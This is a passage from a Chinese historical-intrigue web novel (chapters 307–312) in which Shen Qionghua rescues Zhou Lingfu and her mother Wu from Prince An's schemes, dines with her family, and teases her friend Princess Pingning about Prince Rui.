“如今时辰也不早了,再过几个时辰天就该亮了,裴神医写完方子便先回去歇息吧,安锦,替我送送裴神医。”沈琼华道。 裴凉川得意地冲安锦挑了挑眉。 安锦朝沈琼华颔首,随后目不斜视地走了出去,裴凉川见状连忙跟了上去,与安锦并排而行。 屋内归于寂静。 芍药上前轻声道:“小姐,您一夜未曾歇息好,不如去隔壁屋中歇息一下,这边奴婢守着,等她醒了奴婢便立刻告知您。” 沈琼华轻轻摇头,“我睡不着。” 顿了顿,又问道:“吴氏这段时间修养得如何?” “小姐放心,裴神医说吴氏的身体已经痊愈了,吴氏并不知晓是小姐救的她,并且……” 沈琼华抬眸看了过来,芍药才接着道:“并且她一直吵着要出去,但小姐放心,我们留在小院中的人将她看得牢牢的,她并没有接触外面的机会。” 沈琼华敛眸。 吴氏一直吵着要出去,只怕是也是想要救周令芙。 她淡淡吩咐道:“传我的命令,这段时间让那些人都将人看严实些,还有给这间院子也安排一些人手,接下来是关键时期,决不能出一点差错。” “是。”芍药应下,转身退下去安排。 …… 夜灯如豆。 昏黄的烛光将影子拉得很长。 周令芙睁开眼睛的时候,很是怔愣了一会儿。 掌心下是柔软是床榻,头顶上是千两银子的月影纱制成的床幔,贴身的肮脏的衣裳已经换成了柔软舒适的料子。 虽然不贵重,但穿着很暖和,这放在以前她是万万看不上眼的,但却是她如今求也求不来的。 身上舒爽,应当是已经清洗过了,只是心口处的疼痛尤为占据心神。 相比起来,其他的鞭伤所带起的隐隐痛意都不算什么了。 周令芙摸着身上包扎的伤口,摸着摸着一滴泪自眼尾滑落流入鬓发中。 真好,她还活着,真好。 寂静的夜里响起了一道纸张翻动的声音,落在此刻神经微弱的周令芙耳中显得尤为清晰。 她挣扎地坐起身,干裂的嘴唇嗡动,“是谁?是谁在那?” 屏风后的人影顿了顿,随后一阵衣料的窸窣声响起。 透过微弱的烛光,周令芙能够看到一道绰约的身影绕过屏风朝她走来。 一道熟悉的声音响起,“醒了?” 下一瞬,沈琼华就出现在了周令芙的面前。 看见沈琼华的一瞬间,周令芙睁大了双眼,随即眼底划过一丝了然。 “果然是你!” 第三百零七章你娘没死 听到这话,沈琼华挑了挑眉,有些意外,“你猜到了是我?” “并没有觉得一定会是你,只是有所怀疑罢了,毕竟除了你,如今也没有人会主动与安王和周令宜作对。”周令芙道。 “你既猜到了很可能是我,那你怎么没有将我联系你的事情向安王坦白,换取离开的机会?” “你不是一向最讨厌我了吗?怎么放过了怎么好的机会?”沈琼华笑道。 “向安王坦白,我能得到什么好处吗?即便是他同意我离开,我如今也不敢轻信他的话。” “既然得不到好处,我又为何要告知他,他如此对我,我现在巴不得安王府能够下地狱。”周令芙神色愤愤道。 “不错,吃了这么多苦,如今总算是长了一点脑子。”沈琼华评价道。 周令芙一哽,却没有反驳,毕竟她也觉得从前的自己实在是愚不可及,不然也不会落到如今这般境地。 从前富贵权势迷人眼,总想着嫁入高门大户,能够扬眉吐气。 如今阎王跟前走了一遭,总算是明白了高门大户里的身不由己。 比起那些荣华富贵,还是自己的身家性命更要紧。 若是连命都没了,又谈何其他呢? 周令芙心中唏嘘的同时,却没有忘记另一件事。 她神色激动地看向沈琼华,问道:“既然你知晓我在安王府里的情况,那你纸上说的,只要我按照你说的做,你便将我娘还给我可是真的?” “周令宜说她杀了我娘,而后将我娘丢去了乱葬岗,你是不是将我娘的尸身带回来了?” “还是说,我娘没有死,你救了我娘?” 最后一句话,周令芙蓦然红了眼眶抓紧手中的锦被。 周令芙不敢再问,她怕沈琼华告知她带回来的是吴氏的尸体。 怕她满心的希冀终究落了空。 沈琼华淡淡地笑着,似乎一切都在她的掌控当中。 在周令芙期盼的眼神当中,沈琼华缓缓开了口,“这个先不急,我们先来聊聊你在安王府做的那些事情,我得知晓你到底有没有按照我的要求做。” 虽然暗一跟她说事情都已经办妥,但到底隔了一层。 暗一只能在书房外的范围内制造一些小动作替周令芙打掩护,她怎么知晓周令芙最后到底有没有按照她的吩咐将东西放进书房。 为了以防万一,还是问清楚比较好。 周令芙眼中闪过一抹焦急,显然是很想知道吴氏的下落。 但她知晓现在的话语权不在她的手中,而在沈琼华的手中。 她若是想尽快知道娘的下落,还是得乖乖听话才是。 不得不说,挫折使人成长,若是从前周令芙指定忍不下沈琼华这般,指不定还会对着沈琼华大发脾气,如今倒是学会了识时务。 她抿了抿唇道:“你想知道什么?” “你是如何找到那些东西而后成功混入安王府的书房的?”沈琼华问道。 周令芙蹙眉,“这些不都是你教我的吗?你不是都知道吗?” “回答我的问题,其他的不用你管。”沈琼华道。 周令芙按压住自己的性子回答道:“就是在碗底发现了你写的纸条之后,我便开始保存体力。” “而后昨日到了约定的时辰,我发现门口的两个守卫果然如纸条上说的那样中了迷香瘫倒在地。” “于是我便偷偷溜出去,避开人群,到达纸条上说的地方,在附近了草丛里找到了一个小包裹,里头有你要我放进安王书房的东西,一个装着假死药丸的瓷瓶以及一把匕首。” “我拿着这些东西到离书房最近的假山内躲了起来。” “等王府乱起来,书房内的守卫被调离,我便趁势偷溜进了书房。” 沈琼华点点头,道:“干得不错,那你可知道那东西是什么内容?” 闻言,周令芙眼眸闪了闪,“大概知道一些。” “知道你还敢放?”沈琼华挑眉道。 “他们想要害死我,我又何必给他们留余地。”周令芙道,说这话的时候语气里是难掩的愤怒。 “说的对。”沈琼华赞许地点点头,随后眼眸微眯,嘴上似是随意道,“那之后呢,你进了书房之后呢?你将东西放到我指定的箱子里,可看到箱子里有何东西?” 周令芙仔细回想了一下,“好像有两枚玉佩以及一些小玩意。” 听到这话,沈琼华才总算是露出了一个真心实意的笑。 那箱子是谢祁安用来放幼时皇上赏赐给他的东西的,平常不轻易打开,是最适合放那些东西。 周令芙既然能准确说出里头有哪些东西,看来是真的按照她的吩咐做了。 沈琼华挑眉,“你很聪明,竟然还知道自投罗网,当着林惜颜的面自戕。” 周令芙冷笑一声,“我若不是当着林惜颜的面自戕,周令宜肯定会派大夫仔细检查,难保不会露馅。” “再者,周令宜将我害到这地步,怎么说,我也该给她一份回礼才是。” 沈琼华笑了笑,眉目舒朗了几分,“最后一个问题,你就那么相信那张纸条,你难道就不怕这样做你真的死了吗?” 周令芙沉默了一瞬,轻声道:“我还有得选吗?在那种情况下,我迟早会被周令宜折磨死。” “左右周令宜不会放过我,那还不如用我这条命来赌一把。” “再者,我也不是真那么蠢,若是林惜颜没有按照纸条上所说的来到安王府,我肯定不会自投罗网,而是想办法逃出去。” “可林惜颜真的来了,我苟活至今便是为了揭穿周令宜的如玉算盘为自己出一口气。” “揭穿了周令宜的如玉算盘,即便是真死了,我也认了。” “反正坏了周令宜的计划她也不会再放过我,你那枚假死药若是假的,也算给了我一个痛快。” 沈琼华勾唇,缓缓站直了身体,“你的回答我很满意,现在换我回答你的问题了,你娘并没有死,她被周令宜派人丢去了乱葬岗,所幸喝下的毒药不多,我派人将她救了回来。” “她如今,就在这座宅子里。” 第三百零八章谢谢你,对不起 “真……真的吗?”周令芙瞪大双眼,呼吸都急促了几分,满眼不可置信。 “自然是真的。”沈琼华道。 得到了保证,周令芙有些仓皇地点了点头,最后痴痴地笑了出来,“那就好,那就好,还活着就好。” 她的目光落在了沈琼华的身上,有些别扭道:“沈琼华,多谢你。” 若不是沈琼华相助,她恐怕这辈子都逃不出安王府,最后只能沦为周令宜用来诬陷林惜颜的棋子。 而娘也是落得个暴尸荒野,成为孤魂野鬼的下场。 “你用不着谢我,这是你应得的,若是你方才回答得不对,没有将我交代的是做好,即便你逃出了安王府,我也不会放过你。”沈琼华淡淡道。 “既然你做到了我交代的事情,我自然也会遵循我的诺言。” “你娘就在不远处的院子里,稍后芍药会待她来见你。” 似是印证沈琼华的话,她话音刚落,芍药的声音就在外头响了起来,“小姐,吴氏来了。” “让她进来吧。”沈琼华道。 门被推开,吴氏有些怯怯地走了进来,她看到沈琼华刚想开口说些什么,就看到了躺在床榻上,一脸苍白的周令芙。 她双眼瞪圆,惊声唤道:“芙儿!” “娘!”周令芙虚弱地唤了一声。 吴氏此刻哪还记得沈琼华,径直就朝床榻跑了过去,一把将周令芙搂入怀中,眼泪顷刻间便落了下来。 “芙儿,娘的芙儿,娘以为你被他们害死了,以为这辈子娘都见不到你了,呜呜呜~” “娘,我也以为你被他们害死了!” 母女二人抱头痛哭了好一会儿,才分开。 吴氏泪眼婆娑地看着周令芙,双手死死地抓着周令芙的手,生怕眼前的一切都是她的幻觉,她手一松,周令芙就不见了。 周令芙先前在安王府受了那么久的折磨,后来又是吃了假死药又是自戕,即便是脱离了生命危险,身体也已然是虚弱至极。 方才与沈琼华说了那么久的话都已经是强撑着了,现下又见到了吴氏,情绪激动之下,胸口的伤处泛起了剧烈的疼意。 一度疼得她冷汗直冒,说不出话来。 她这副样子将吴氏吓了一跳,吴氏这才从重得女儿的高兴中看出了些许端倪。 她有些惊慌失措道:“芙……芙儿,你这是怎么了?你……你怎么了?你别吓娘啊!” “快……快来人啊!快来人啊!” 喊了两声,这才惊觉这里不是永宁伯府,而她也已经不是永宁伯府的二夫人。 永宁伯府已经彻底抛弃了她们母子,甚至对她们母子痛下杀手。 那……那芙儿为什么会在这? 沈琼华要对芙儿做什么? 吴氏猛地转头看向沈琼华,伸手将周令芙护在身后,戒备地看着沈琼华,“沈琼华,你要对芙儿做什么?” “你有什么你都冲我来,你不要为难芙儿。” “之前的那些种种,都是我教女无方,该受惩罚的是我,你想做什么亦或是想出气都冲我来。” “我只求你,求你放过芙姐儿,我的芙姐儿她……她实在是命苦啊——呜呜呜~” 吴氏说着说着便哭了出来。 这哭声是真心实意的,并不是做戏给沈琼华看。 想她年轻时因为嫁入了伯府而得意半生,却不想临了落得个被伯府抛弃的下场。 她也就罢了,左右都过了这么多年的好日子,已经人老珠黄了,这辈子也值了。 可她的芙姐儿……生在富贵之家,便一直被周令宜压着,好不容易出嫁了,却所托非人,只能当个侍妾。 花骨朵儿般的年纪,正是绽放的好时候,却被磋磨至此,如何不让她这个当娘的心痛。 周令芙此刻也从那股剧烈的疼痛中缓和了不少,见吴氏这般卑微的姿态,简直是心如刀割。 更加痛恨当初的自己为何会鬼迷心窍,一心想要进安王府,连累得母女二人都落到这般田地。 对于吴氏又是防备又是乞求的话,沈琼华并没有说什么,只是淡淡地看向周令芙,道:“你娘的伤比你轻,差不多已经痊愈了。” “至于你的伤,我已经安排了人给你医治,大夫说了,其他倒还好说,只是心口的那一刀进得有些深,即便是痊愈了,今后到了阴雨天也会有心口痛的毛病。” “你与你娘就在这小院里待着,我会派人看守这小院,在事情未尘埃落定之前,你们不能踏出这小院半步,不然……就休怪我翻脸了!” 此事事关镇国公府的存亡,她决不能容许走漏半点风声。 周令芙乖顺地点了点头,知道这已经是最好的结果了,道:“我知晓了,未得到你的同意,我与我娘绝不会离开这小院半步的。” 见她如此识时务,沈琼华满意地点了点头,随后便要出去,留她们母女二人独处。 就在沈琼华即将跨出大门的那一刻,身后传来了周令芙的喊声,“沈琼华!” 沈琼华停住脚步,微微偏头。 周令芙嘴唇懦动,真心实意道:“谢谢你,还有……对不起……” 沈琼华正过头,什么也没说,继续向外走去。 门‘碰’地一声被关上,留下了滋味难明的周令芙与一头雾水的吴氏。 吴氏疑惑的问道:“芙儿,你这是……” 沈琼华要软禁她们,芙儿还对沈琼华说谢谢? 周令芙挽着吴氏的手,心中都是劫后余生的喜悦,她轻声道:“娘,沈琼华救了我们,对我们有恩,你听我慢慢将事情原委说与你听……” 夜色朦胧,昏黄的烛光将人影拉得很长。 透光的白色窗纸上映照着母女二人依偎的身影,这一晚,母女俩的谈话持续了很久很久…… …… 回到沈府时已经快到寅时了,芍药服侍好沈琼华更衣上榻后,便拿出被褥去了一旁放着的小榻旁。 没一会儿,便沉沉地睡了过去。 也不知过了多久。 恍惚间,芍药觉得屋内似是有什么动静。 迷迷蒙蒙地睁开眼睛,便看见沈琼华只身着着里衣坐在窗边,一只手撑着下巴,看着外头的月亮发呆。 皎洁的月光倾洒而下,落在沈琼华姣好的面颊与披散着的三千青丝上,透着一股洗尽铅华的美感。 芍药盯着沈琼华的背影看了一会儿,随后轻轻起身,拿起一旁衣架上的披风,轻手轻脚地靠近沈琼华将披风给她披上。 “快要入冬了,夜里凉,小姐该仔细着不要感染了风寒才是。” 沈琼华骤然一惊,旋即放松下来,捏着披风回头笑道:“可是我动作大了吵醒你了?” 芍药轻轻摇了摇头,“奴婢本也就睡不踏实,正好与小姐说说话。” “小姐睡不着,可是有什么烦心事?不如说出来,芍药也可以帮着小姐一起出出主意。” 第三百零九章世事无常 “没有什么烦心事,只是在想今晚的事情。”沈琼华淡淡道。 “今晚的事情?小姐说的可是周大小姐与吴氏?”芍药问道。 沈琼华缓缓点头。 芍药蹙眉,“小姐,难道是有什么不妥之处?” “没有。”沈琼华摇头,“只是感叹世事无常,周令芙与吴氏落得个这样的下场。” 上一世,周令芙并没有进安王府,只嫁了个小官当正头娘子。 虽说她有些嚣张跋扈导致夫妻感情不是很好,但因着有永宁侯府这座靠山在,她在夫家便是再作威作福,也没人敢给她气受,过得很是滋润。 而吴氏虽然因为周令芙没有嫁入高门在侯府内闹了一场,但最终也安生了下来,一直劝着周令芙好好过日子将夫妻感情经营好,让周令芙督促夫君上进。 一个选择,造就了不同的结局,沈琼华看在眼中,难免心生感慨。 芍药不知晓沈琼华是重活一世的人,只当沈琼华是为这二人的遭遇感到唏嘘。 她宽慰道:“小姐不必为此介怀,之前借住在永宁伯府时,周令芙与吴氏可没少借机刁难小姐,如今落得这样的下场也是她们自己的选择。” “小姐不仅没有落井下石,反倒还给了她们一条生路,这已经是小姐的仁慈了,若不是小姐您,只怕吴氏的尸体都已经凉透了,周令芙也难逃一死。” 芍药说的是真心话,毕竟当初设计安王的那个局,也是周令芙自己愿意往里面跳的,并没有人逼迫她。 既然贪心,就要承担贪心的后果。 沈琼华轻笑着摇了摇头,道:“我没有介怀,只是觉着经过了这些事情,周令芙和吴氏都变了许多,若是换做以前,她可不会跟我说那些求饶的话。” 她当时听着那些话,心中可真是滋味难明。 芍药道:“世人都说为母则刚,吴氏就周令芙这一个女儿,她以为小姐要伤害周令芙,自然会放低姿态说软话求小姐。” “是啊,做母亲的为了儿女的康健,做什么都可以。”沈琼华感慨道。 目光又落到窗外高悬的月亮上,嘴中呢喃道:“也不知晓……” 也不知晓上一世,阿娘临死前知道林氏的真面目后,是不是也如今日的吴氏一般。 明明自己也已经满身伤痛了,却仍旧恳求着,恳求着林氏与周令宜放过她和阿逸。 是有的吧,只是林氏和周令宜却没有一个人心软,都想着尽快将沈家的家产据为己有。 亦或者……阿娘根本就没有求饶的机会…… “小姐,您说什么?”芍药侧着耳朵,并没有听清楚。 沈琼华猝然回神,道:“没有什么,天快要亮了,你快去睡吧,我也要睡了。” 芍药点头,“奴婢扶小姐上榻。” 芍药解开沈琼华身上的披风顺手搭在衣架上,扶着沈琼华上榻,替沈琼华掖了掖被角,正要起身离开,却突然被沈琼华喊住了。 “芍药。” 芍药回头,“小姐,怎么了?” “我明日想去阿娘院中,陪阿娘一道用早膳。”沈琼华道。 “好的,那奴婢便让他们直接将早膳提去夫人的院中。”芍药道。 沈琼华听到这话,眉眼弯了弯,这才闭上了眼睛。 芍药拢了拢床幔,轻手轻脚地回了自己的小榻上,盖好被子,进入了梦乡。 —— 竖日一早。 沈琼华睁开眼睛的时候已经天光大亮了。 “芍药,什么时辰了?”沈琼华问道,声音里还带着一股子慵懒。 芍药听到动静,掀起床幔,道:“小姐,已经辰时四刻了。” “什么!”沈琼华立马起身,在芍药的服侍下洗漱穿衣。 芍药一边做着手中的事一边道:“小姐不必着急,奴婢一早便派人去与夫人说了今早小姐想与夫人一同用膳。” “夫人说了,会等小姐的。” 沈琼华听了,这才松了一口气,随后又道:“那也得快些,不好让阿娘一直等我。” 一盏茶的时间,沈琼华便已经收拾妥当了。 因着赶时间又是在自家府邸里,并没有过多打扮,连脂粉也未曾上,直接用一根玉簪将青丝挽起,便带着芍药匆匆赶去了林婉茹的院子。 一进门,就对上了沈逸那张稚嫩的圆脸。 沈逸端端正正坐在椅子上,看到沈琼华立刻便笑呵呵地嘲笑道:“阿姐,你怎么这么大了还睡懒觉,我可是卯时就起来了。” 沈琼华没好气地敲了一下他的脑门,这才有些不好意思的朝林婉茹道:“是琼华不是,睡迟了,累得阿娘久等了。” 林婉茹笑着看姐弟二人玩闹,闻言温柔道:“没事,你要掌管沈家大大小小的事情,偶尔睡得迟了些,养养精神也是好的。” “阿逸听说你要陪我用早膳,便吵着也要一道,你既来了,那便开始用膳吧。” 林婉茹站起身,沈琼华扶着她左手,沈逸扶着她右手,三人一同移步到了餐桌旁。 下人立刻将膳食摆了上来。 正用着膳,沈琼华一抬头就看见对面的沈逸正看着她,一双眼睛滴溜溜地转着,一副欲言又止的模样。 “阿逸,怎么了?”沈琼华问道。 沈逸迟疑地看了林婉茹一眼,这才开口道:“阿姐,我听外头的人说瑞王打了胜仗,抢回了三座城池,是不是真的?” 第三百一十章执拗的脾气一脉相承 “自然是真的,战报还能有假不成。”沈琼华笑着道。 林婉茹一向深居简出,连门都没怎么出,倒是不知晓瑞王打了胜仗的消息,当然,也是沈琼华没有与她说的缘故。 沈琼华总觉得瑞王打了胜仗,安王会有所动作,她怕今后会出什么变故,怕林婉茹担忧。 如今沈逸主动提及,沈琼华便顺势告知了。 “哇,瑞王殿下可真厉害,之前陈国那么嚣张,夺走了咱们五座城池,瑞王殿下才去边关多久啊,就夺回了三座,用不了多久肯定都能夺回来,将陈国的军队赶出大越境内。”沈逸表情夸张地赞道,双眼发光。 林婉茹闻言,嘴角也扬起了一抹笑意。 既是为大越夺回城池高兴,也是因为打了胜仗的人是瑞王。 即便是林婉茹这种心思简单,不懂朝政的妇人也知晓,如今沈家与瑞王在一条船上,只有瑞王好了,沈家才能好。 “瑞王殿下虽身份尊贵,但却礼贤下士,进退有度,没有身为皇室子弟的傲气,又武功高强,带领士兵打胜仗,大越有瑞王殿下,是百姓的福气。” 林婉茹此前从沈琼华那听到过不少谢南渊帮助沈家的事情,加之上一回在沈府碰见,谢南渊表现得很是谦逊有礼,林婉茹对谢南渊的印象极好,夸起人来毫不嘴软。 沈琼华捏着筷子的手一僵,在无人看到的角度悄悄翻了个白眼。 武功高强她承认,但进退有度她是真没看出来。 进退有度会夜里偷偷翻墙进姑娘家的闺房? 就连武功高强这一点,沈琼华也是在谢南渊悄无声息翻墙进她闺房的时候才真切感受到的。 沈琼华嘴角微动,到底还是没有开口拆谢南渊的台。 不然若是阿娘追问之下知晓谢南渊半夜翻墙进她的闺房,只怕会当即晕过去。 算了,还是给他留些颜面吧。 沈琼华暗暗想着。 沈琼华没有应和林婉茹的话,自然有别人应和。 沈逸在林婉茹话落后,立马应和道:“是啊,是啊,瑞王殿下贵为王爷,文能入朝办事,武能带兵打仗,文武双全,是我等的榜样啊!” 点头如捣蒜。 沈琼华看着对面一直在夸赞瑞王,吹彩虹屁的阿弟,眼眸微眯。 往日里也不见阿逸这么拍瑞王的马屁,怎么今日…… 不知想到了什么,沈琼华唇角微勾,眉目舒展,优哉游哉地吃着碗里的饭菜,静静地看着沈逸发挥。 林婉茹显然对瑞王不是一般的满意,她放下筷子摸了摸沈逸的头,道:“听说瑞王幼时在课业上很是出色,在一众皇子中脱颖而出,深受太傅夸赞,咱们阿逸若是在课业上有瑞王殿下一半优秀,我也就满足了。” “你既将瑞王殿下当做榜样,便也要努力,成为优秀的人才是。” 后面这句话,是对沈逸说的。 沈琼华附和着点了点头,点到一般,突然察觉到不对。 听说? 听谁说的? 她怎么不知道? 阿娘足不出户从哪儿听说的瑞王幼时的事情? “阿娘,你是如何知晓瑞王幼时的事情的?”连课业出色都知晓。 林婉茹啊了一声,道:“就是听平宁郡主说的啊,有几回平宁郡主来府中找你,碰巧你出门了不在府中。” “那孩子也是一个有心的,丝毫没有郡主的架子,便来看望我,怕我一个妇人整日呆坐着无聊,就陪着我说说话。” “说的都是瑞王幼时的事?”沈琼华嘴角抽动道。 “是啊。”林婉茹道:“若不是平宁郡主说了,我还不知晓身为皇子也过得那般艰难,果然没娘的孩子可怜,瑞王能在那种情况下挺过来还如此优秀,实在是难得啊。” 林婉茹有些心有戚戚。 若不是她在女儿的提醒下及时醒悟,恐怕也会被林氏算计得尸骨无存,到时华姐儿和逸哥儿就成了无父无母的孤儿了。 看着林婉茹颇有些感同身受的样子,沈琼华冷笑着放下碗。 好好好。 她就说阿娘与瑞王不过几面之缘,为何阿娘对瑞王的印象如此之好,原来是希瑶在中间出了力呀。 沈琼华暗自磨牙。 沈逸见话题歪了,连忙将话头引回来,“对,阿娘说的对,我应该努力向瑞王殿下学习,成为优秀的人才是。” “只是,瑞王殿下文武双全,我总不能只学文,不习武吧……”说着,沈逸怯怯地看了林婉茹一眼。 林婉茹已然冷了脸,啪嗒一声将碗筷放下,“说来说去,你还是想习武,还是想参军!” “对,我就是想习武,就是想参军,阿娘,我会努力的,即便是不走科举的路子,我也能完成阿爹的遗愿。”沈逸回道,眼神中透着执拗。 “你……你是想气死我是不是!”林婉茹咬牙道。 沈逸却还妄图改变林婉茹的想法,道:“阿娘,为什么不行,若说身份,瑞王殿下的身份不比我贵重得多,他都能上战场杀敌,我为何不行,你不是说了希望我跟瑞王殿下一样优秀吗?” 林婉茹摇头,“这不是一件事……” “这怎么不是一件事了?”沈逸有些急了,“阿娘,我有信心,待我学好武功参军,定能挣得个一官半职回来。” “你不要再说了,你是沈家唯一的男嗣,我不可能会同意让你参军的,你要是在战场上出了什么事,我如何对得起你死去的阿爹!”林婉茹道。 沈逸还想挣扎一番,“阿娘,可是我不喜欢读书,我也读不进去,我将来若是考不起功名……” “若是考不起功名!”林婉茹态度强硬道:“那就跟着你阿姐管理沈家的生意,好歹是留着一条命在,总归是不许上战场!” “阿娘!”沈逸急了,一下子从凳子上站起来,“你……你简直是不可理喻!” “阿弟!”沈琼华惊叫道,“不许这样与阿娘说话!” 沈逸也自知失言,但却又倔强地不肯认输。 林婉茹站起身指着沈逸,道:“好好好,我算是管不了你了,你给我去外面跪着,什么时候想清楚了,什么时候再起来!” 沈逸闻言二话不说,便径直朝外头走去。 “阿逸!”沈琼华喊都喊不住。 小小的身影一下便消失在了门口。 林婉茹颓然地坐下,泪水在眼眶里打转。 好好的一顿早膳,变成这个样子。 沈琼华在心里叹了口气,上前双手搭在林婉茹的肩膀上劝慰道:“阿娘,不如就随了阿逸吧,咱们拦得了一时,拦不了一世,再者咱们害怕的事情,也未必会真的发生,说不定阿逸会有另外的机遇呢。” 沈琼华觉得沈逸的性子太过执拗,习武这件事情从四岁嚷到了八岁。 若他将来注定要去参军,与其现在拦着耽误时间,还不如早些给他请个武功高强的师傅,多教他一些防身的本事。 上了战场,能保住命的几率更大些。 林婉茹闻言悄然落泪,哽咽道:“我如何想一直做这个恶人,只是沈家就他一个男嗣,他若是上了战场,万一出了事,我们母女该怎么办?” “你阿爹生前就不愿意他习武,我若是答应了,他出了事,我百年后如何有颜面去见你阿爹?” “他以后即便是考不起功名,帮着你处理沈家的生意也好啊,你也就不用那么辛苦了,家中有兄弟撑腰,将来你在夫家好歹还有个靠山。” “阿娘……” “你不用再说了,他不是想跪吗?那就让他跪着好了,左右我是不可能同意的。” “虽然拦不住一世,但只要我活着,就绝不允许上战场。” “对,没错,我现在要做的就是保重身体多活几年,不然这臭小子指定要翻天!” 林婉茹说着,又拿起碗吃了起来。 看着执拗的林婉茹,沈琼华深深地叹了口气。 她总算是知晓阿逸执拗的脾气是从何而来了,原来是一脉相承啊! 第三百一十一章我什么时候对瑞王心动了? 陪着林婉茹用完了早膳,沈琼华便准备回去了。 朱红色的房门打开,沈琼华看见了院子中央跪得笔直的沈逸。 沈琼华顿了顿,径直走到沈逸跟前,有些无奈道:“你明知道阿娘不同意,何苦还要同她撅着来?” “现在好了吧,马上便要入冬了,早上寒凉,在地上跪久了仔细伤着身子。” 沈逸咧嘴一笑,“阿姐放心,我身子结实着呢,每日都有锻炼身体,没那么容易生病,况且……” 沈逸左右看了看,压低声音道:“况且阿娘就是一时怒气上头才罚我跪着,你看吧,阿娘一向心疼我,只要我坚持住,不一会儿阿娘就会让我起来了。” 沈琼华闻言,没好气地屈起手指在他脑门上敲了一下,“你啊你,我看你瓷实的很,老老实实在这跪着吧!” 亏她还担心他,这个鬼机灵! 沈琼华带着芍药走了。 行至半路,正巧碰到迎面走来的甘草。 甘草见到沈琼华,眼睛一亮,面带喜意地上前道:“小姐,奴婢正要去夫人院中寻您呢。” “怎么了?”沈琼华问道。 甘草道:“小姐,平宁郡主来了,奴婢已经将郡主请到您院中了。” “是嘛?”沈琼华嘴角扬起一抹笑,脚程加快了些。 一路回了院子,一进门便见到洛希瑶坐在院子里,左手糕点右手茶,吃得那叫一个乐呵。 “呦,咱们平宁郡主竟是饿着肚子来寻我的。”沈琼华打趣道。 洛希瑶听见沈琼华的声音眼中闪过一抹笑意,连忙站起身转过头,将嘴里的糕点咽下,这才开口道:“我想着要来你府中,特意只草草垫了垫肚子,就想着吃你府中的糕点呢。” 说着,又咬了手中的糕点一口。 沈琼华笑着走过去,捏了捏她吃得圆鼓鼓的脸颊道:“竟有人将蹭吃说得这么理直气壮,也不知晓这脸皮是不是也如做糕点的面团一样厚。” 她将洛希瑶按在椅子上坐下,将糕点碟子往前递了递,道:“喜欢就多吃些。” 洛希瑶狠狠地点了点头,将手中的糕点吃完了,又捏起一块糕点往嘴里送,一块又一块,直接将三盘糕点都干完了。 端起手边的茶盏顺了顺,这才舒畅地摸着肚子打了个饱嗝。 “几日不吃,可是想死我了,我在你面前就不讲什么贵女仪态了。” 沈琼华无奈地笑了笑,“爱吃我每日让人送一份去镇国公府便是,一口气吃这么多当心撑着了。” “哎,别别别,千万别,我三天两头往你府中跑,已经圆润了不少,你要是真送来,我怕是过段时日便要被傅琛嫌弃了。”洛希瑶连连摆手。 那模样,看得沈琼华好气又好笑。 突然,沈琼华想起一件事,她双手叉腰道:“好啊,洛希瑶,我倒是不知晓你来府中找我,还夹带私货的?” “连我都不知晓瑞王幼时的那些事情,我阿娘倒是知晓得一清二楚啊,嗯?” 洛希瑶愣了愣,随即摸了摸鼻子,讪讪一笑,道:“那什么,我那几回来你不在,我总不好就这么坐着,便去拜见了伯母,但是你放心……” 洛希瑶举起四根手指发誓道:“不该说的我都没有说,表哥喜欢你的事情我提都没提!” 沈琼华冷笑:“你是没有说瑞王喜欢我,但你与我阿娘说了什么,出于哪种目的你心知肚明。” 洛希瑶尴尬地笑了笑,“哎呀,我这不也就是顺嘴提了提嘛,其实也没说什么。” 就是表哥从前的一些光荣事迹,帮表哥提一提他未来岳母的对他的好感。 “再说了,你不是也对我表哥心动了?”洛希瑶道。 “你胡说!我什么时候对瑞王心动了!”沈琼华瞪大双眼。 “没有吗?” “当然没有!” “那也不知道是谁一大早眼巴巴地去城门口送我表哥……” “我那是去送出征的大军!”沈琼华喊道。 “行吧,行吧,你说什么就是什么。”洛希瑶摇头晃脑道。 沈琼华有些急了,“洛希瑶!” 一边喊着,一边去闹洛希瑶。 洛希瑶也不甘示弱地反击回去。 二人玩闹了一会儿,这才说起来了正事。 “怎么样?事情进行的顺利吗?”洛希瑶问道,一双亮晶晶的眼中满是期待。 沈琼华笑着点了点头,“一切顺利,本来昨日晚上便要给你传信的,但天色太晚了,怕打扰你休息,就没告知你。” “人被我安排在了安锦那里,派了暗卫看守,事情尘埃落定前都不会出来。” 第三百一十二章谢祁安早就出手了? “是服用了假死药才得以脱身的?”洛希瑶问道。 沈琼华摇了摇头,道:“不是,周令芙怕无缘无故死去会引起周令宜的怀疑,再加上可能也想报复周令宜,她在林惜颜面前将周令宜的老底掀了,而后用匕首插入胸膛自戕了。” “幸好暗一派人一直跟着,在安王府的人走后,即刻便将周令芙从乱葬岗带了回来,若是再耽搁一段时间,怕是不好说了。” 沈琼华还没丧心病狂到利用吴氏逼迫周令芙自戕。 包袱里的那把匕首的本意,原是让周令芙在书房附近躲藏时若是被其他人发现了,东西还没放入书房,必要时可以灭口。 却没想到她会将那把匕首运用到自己身上,还是以那种极端的方式。 说到底,上一世逼死他们一家的是永宁伯府大房与安王,二房并不知情。 虽然二房母女作为得利者,曾经言语欺辱过她,但与灭门之仇相比,显然不值一提。 如今既已落得这样的下场,也算是得了教训。 洛希瑶闻言瞪圆了眼睛,“她……她竟然做出这等事?” 洛希瑶对周令芙的印象并不深刻,只记得她与沈琼华发生过一些矛盾,性子也是一言难尽,没想到做个局而已,竟然敢自戕。 要知晓,这一不小心,可就真的死了。 沈琼华冷笑一声,“兔子急了也是会咬人的,更何况她原先些虽然无脑了些,但也不是个和善的主儿,能做出这种事来不足为奇。” “如今也算是长了教训,平和了许多。” 洛希瑶听着沈琼华的话,心中不免有些唏嘘。 沈琼华的目光落在空处,喃喃道:“眼下万事俱备,就看安王如何出招了。” —— 寒风萧萧,裹挟着枯干的枝丫在黑夜里起舞。 不过十几日的功夫,便已经入了冬。 京城的细雨连绵不绝,寒风一吹,似是能刺进人的骨子里,街道上的人更加稀少了。 这十几日,从边关传来了两道军报。 一败一胜。 这是大规模战争的结果,至于小规模的战斗更是数不胜数。 在瑞王又抢回了一座城池之后,面对最后一座城池,遭到了陈国士兵的顽强抵抗和突袭。 而后大军似乎和陈国的军队胶着住了,都在不断地试探对方的底线,双方都没有再轻举妄动,一直保持着歇战的状态,但却又时不时派出一小队士兵交锋。 战事拖到了冬日,无论是士兵还是战马都格外的难熬。 边关的军营内,升起冉冉篝火。 营帐内,谢南渊与镇国公还有林大将军正在看着面前的沙盘。 “王爷,这战事还得速战速决才是,眼下刚入冬,将士们还能忍受,若是等下了雪,那才真的是难熬了。”镇国公蹙眉道。 